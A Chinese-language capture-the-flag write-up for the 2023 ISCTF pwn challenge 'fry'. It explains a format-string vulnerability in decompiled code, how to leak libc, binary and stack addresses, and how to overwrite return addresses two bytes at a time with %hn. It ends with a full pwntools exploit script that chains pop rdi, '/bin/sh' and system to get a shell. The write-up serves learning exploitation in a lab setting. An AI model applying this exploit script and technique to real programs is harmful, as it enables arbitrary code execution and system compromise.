这题是一个比较好的进阶格式化利用。就是有点繁琐。

先惯例checksec一下

2023ISCTF的fry题解及进阶格式化利用_ISCTFpwn

心脏骤停hhh。

没事先分析一下

Main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  puts("Welcome to ISCTF~~~~~~~~~~~~~~~~");
  puts("Do you want to get something funny");
  puts("Let's go on an adventure!");
  adventure();
  return 0;
}

啥都没有,只能继续看

Adventure函数

unsigned __int64 adventure()
{
  char s2[7]; // [rsp+9h] [rbp-37h] BYREF
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  strcpy(s2, "fries");
  s2[6] = 0;
  puts("Emmmmm... Could you give me some fries");
  read(0, buf, 0x14uLL);
  if ( !strcmp(buf, s2) )
  {
    puts("Thank u!!!");
    format();
  }
  else
  {
    printf("Oh~~~ That's bad!!");
  }
  return v3 - __readfsqword(0x28u);
}

也没啥,只要输入一个fries就可以进format函数,并且这里不存在溢出。

Format函数

unsigned __int64 format()
{
  int i; // [rsp+Ch] [rbp-84h]
  char buf[120]; // [rsp+10h] [rbp-80h] BYREF
  unsigned __int64 v3; // [rsp+88h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i <= 7; ++i )
  {
    puts("Go get some fries on the pier");
    read(0, buf, 0x40uLL);
    printf(buf);
  }
  return v3 - __readfsqword(0x28u);
}

重头戏来了。这里有连续八次的格式化漏洞,每次给我们的空间是0x40。不存在栈溢出

泄露思路

泄露libc基地址是肯定要的,这题给了libc大概率有用。等会在栈上找一个libc的函数真实地址就行

然后是程序的基地址,这题可以通过format函数返回地址获取。

其次也需要泄露一个栈地址,因为这题无法覆盖format函数返回地址来劫持程序流,那我想到的是用格式化字符串来修改返回地址以劫持程序走向libc的poprdi,然后system。这一点如果不明白可以等会再说。

手搓格式化前置知识1

因为格式化字符串并不是修改栈本身储存的东西,而是修改栈本身储存的地址指向的东西,而泄露是泄露栈本身储存的东西

比如这里我的%p就是泄露栈本身储存的东西,即三个小蓝圈圈出来的东西,而如果我用%n去覆写,会被覆写的是黄色标记的内容也就是我说的栈上的地址指向的东西。

可以理解为栈地址是零阶,栈本身储存的东西为一阶,栈本身储存的地址指向的东西为二阶。

2023ISCTF的fry题解及进阶格式化利用_ISCTFpwn_02

如果要讲的再详细一点就是,图中左边的蓝色区块是栈段,你可以用栈段储存两种东西。

1.八字节大小直接的数字,字符串。图中储存的%11$p%25$p%24$p\n就是直接储存的表现。

2.一串八字节的地址。图中的三个小蓝圈就是栈上储存的八字节地址。

如果你用%p或是%x去泄露,你会得到一阶的东西,如果你用%n覆写,会改写二阶的东西。

一般来说是用不到这些东西的,因为fmtstr_payload确实很好用,但是它存在一个问题就是字节量大,在这题里面会超过0x40。

等会我们对格式化理解更深入之后就可以理解为什么fmtstr_payload字节量大了。

如果不理解11,25,24这三个数如何来的不会算偏移量的同学可以看看我之前的这篇博客https://blog.51cto.com/u_16356440/8695892

2023ISCTF的fry题解及进阶格式化利用_fry_03

手搓格式化前置知识2

如上图,我们分别拿到了libc的基地址,程序的基地址,栈段地址(这个栈地址是我处理后的,让他等于format函数返回地址,因为栈的偏移量也是固定的。)

为了更好的理解接下来的覆写思路,我先发送了一段试例payload

payload = p64(stack_adr + 0) + p64(stack_adr + 1)
payload +=p64(stack_adr + 2) + p64(stack_adr + 4)
payload +=p64(stack_adr + 6) + p64(stack_adr + 8)
payload +=p64(stack_adr +10) + p64(stack_adr +12)
io.recvuntil(b'pier\n')
io.sendline(payload)

2023ISCTF的fry题解及进阶格式化利用_fry_04

这里主要关注蓝圈内容和下面画蓝线的部分内容对比。结合刚才的payload,我猜你们也知道发生了什么。

2023ISCTF的fry题解及进阶格式化利用_进阶格式化_05

这是我自己画的,有点粗糙hhh。

现在比如我们要覆写0x7ffd2bc1ded0 —▸ 0x7ffd2bc1df58 —▸ 0x55fdece8e387(adventure+134)的最后的这个返回地址

我们肯定没办法直接%kc%m$n的方式覆写,这样子的k会是一个天文数字,非常容易出问题卡顿等等,更别提连靶机的时候网络稍微出点问题就寄寄。

所以我们选择用%kc%m$hn,n是四字节,hn是两字节,hhn是一个字节。( 这里的%kc可以避免你使用b'a'*k)

而$hn只会改写该地址指向内容的最低两个字节,这也就是我们要用到p64(stack_adr + 2)的原因。

取其指向的返回地址(0x0000 55fd ece8 e387)的更高位,这里加2之后结果是0xe880 0000 55fd ece8,我们就能顺利修改到返回地址的任意一位0x55fdece8e387(adventure+134)

还有刚刚说的为什么fmtstr_payload做这题不行,他用的是hhn,就导致我们改一次的事情,他要改两次,导致输入的字节长度会比我们长很多,无法减到0x40一下,所以这题我只知道手搓格式化的做法。

如果到这里还是不理解可以去看看ad世界(xctf)greeting-150那题的题解再来看这题,greeting-150比这题更简单一些。

覆写前数据处理

由于我们打算一次覆写两个字节,首先得把我们的gagdet拆成四份,每份两字节。

这里用poprdi的gagdet举例,假设原来的libc_pop0x0000 7fff aaaa bbbb

我用的是与运算,是当时在网上查到的方法。

libc_pop = libc_base + 0x27C65#这个是我直接在题目给的libc文件里找的poprdi和base的偏移量
libc_pop1 = (libc_pop&0xFFFF00000000)//0x100000000#libc_pop1 = 0x7fff
libc_pop2 = (libc_pop&0xFFFF0000)//0x10000#libc_pop1 = 0xaaaa
libc_pop3 = (libc_pop&0xFFFF)#libc_pop1 = 0xbbbb

覆写思路

这题毫无疑问我们需要覆写很多次,得先定义一个函数。这是我的,刚开始做的时候一次改2×hn出现了问题,后来在大佬指点下明白了原因是被\x00截断了,但是还没这么做,就先只讲我原来的办法。

def fmtsend(libc_adr,stack_adr,x):
    io.recvuntil(b'pier\n')#libc_adr
    payload2 = (b'%' + str(libc_adr).encode() + b'c%10$hn').ljust(0x10,b'\x00')#8 9
    payload2 += p64(stack_adr + x)#10
    io.sendline(payload2)
    print(payload2)

我的函数长这样,一次只覆盖两个字节。我们至少需要p64(pop_rdi),p64(/bin/sh),p64(system)三个gadget

就算先不考虑栈对其可能还得在加一个ret的地址,我们也至少有3 * 6个字节要覆盖也就是18/2 = 9次,超过了题目改的8次。

所以我先找了format函数的起始地址,在第一轮中先把format返回地址覆盖成起始地址续个命,再来一次。

from pwn import *
context(
    terminal = ['tmux','splitw','-h'],
    os = "linux",
    arch = "amd64",
    # arch = "i386",
    log_level="debug",
)
# io = remote("61.147.171.105", 61545)
io = process('./fry')
def debug():
    gdb.attach(io)
    pause()
debug()

io.recvuntil(b'some fries\n')
io.send(b'fries')
io.recvuntil(b'pier\n')
payload = b'%11$p%25$p%24$p'
io.sendline(payload)#0
#分别泄露libc基地址,主代码段基地址,栈段地址

libc_base = int(io.recv(0xe),16) - 0x80BB0 - 25
print(hex(libc_base))
libc_pop = libc_base + 0x27C65
libc_pop1 = (libc_pop&0xFFFF00000000)//0x100000000
libc_pop2 = (libc_pop&0xFFFF0000)//0x10000
libc_pop3 = (libc_pop&0xFFFF)

libc_bin = libc_base + 0x19604F
libc_bin1 = (libc_bin&0xFFFF00000000)//0x100000000
libc_bin2 = (libc_bin&0xFFFF0000)//0x10000
libc_bin3 = (libc_bin&0xFFFF)

libc_sys = libc_base + 0x4C920
libc_sys1 = (libc_sys&0xFFFF00000000)//0x100000000
libc_sys2 = (libc_sys&0xFFFF0000)//0x10000
libc_sys3 = (libc_sys&0xFFFF)

fry_base = int(io.recv(0xe),16) - 0x1387
print(hex(fry_base))
read_adr = fry_base + 0x127A
read_adr1 = (read_adr&0xFFFF00000000)//0x100000000
read_adr2 = (read_adr&0xFFFF0000)//0x10000
read_adr3 = (read_adr&0xFFFF)

ret_adr = fry_base + 0x142A
ret_adr1 = (ret_adr&0xFFFF00000000)//0x100000000
ret_adr2 = (ret_adr&0xFFFF0000)//0x10000
ret_adr3 = (ret_adr&0xFFFF)

stack_adr = int(io.recv(0xe),16) - 0x48
print(hex(stack_adr))
def fmtsend(libc_adr,stack_adr,x):
    io.recvuntil(b'pier\n')#libc_adr
    payload2 = (b'%' + str(libc_adr).encode() + b'c%10$hn').ljust(0x10,b'\x00')#8 9
    payload2 += p64(stack_adr + x)#10
    io.sendline(payload2)
    print(payload2)
#尽量简化代码
fmtsend(read_adr1,stack_adr,4)#1#末尾的数字用来记总共几次了
fmtsend(read_adr2,stack_adr,2)#2#由于最开始泄露了一次
fmtsend(read_adr3,stack_adr,0)#3#所以从1开始。

fmtsend(libc_bin1,stack_adr,36)#4
fmtsend(libc_bin2,stack_adr,34)#5
fmtsend(libc_bin3,stack_adr,32)#6

fmtsend(libc_sys1,stack_adr,44)#7
fmtsend(libc_sys2,stack_adr,42)#0
fmtsend(libc_sys3,stack_adr,40)#1

fmtsend(ret_adr1,stack_adr,20)#2
fmtsend(ret_adr2,stack_adr,18)#3
fmtsend(ret_adr3,stack_adr,16)#4

fmtsend(libc_pop1,stack_adr,28)#5
fmtsend(libc_pop2,stack_adr,26)#6
fmtsend(libc_pop3,stack_adr,24)#7

io.interactive()

具体有些细节像stack_adr加几,我大部分都是再调试中完成的,因为重新返回format函数之后感觉栈地址比较乱。其实还是太菜了www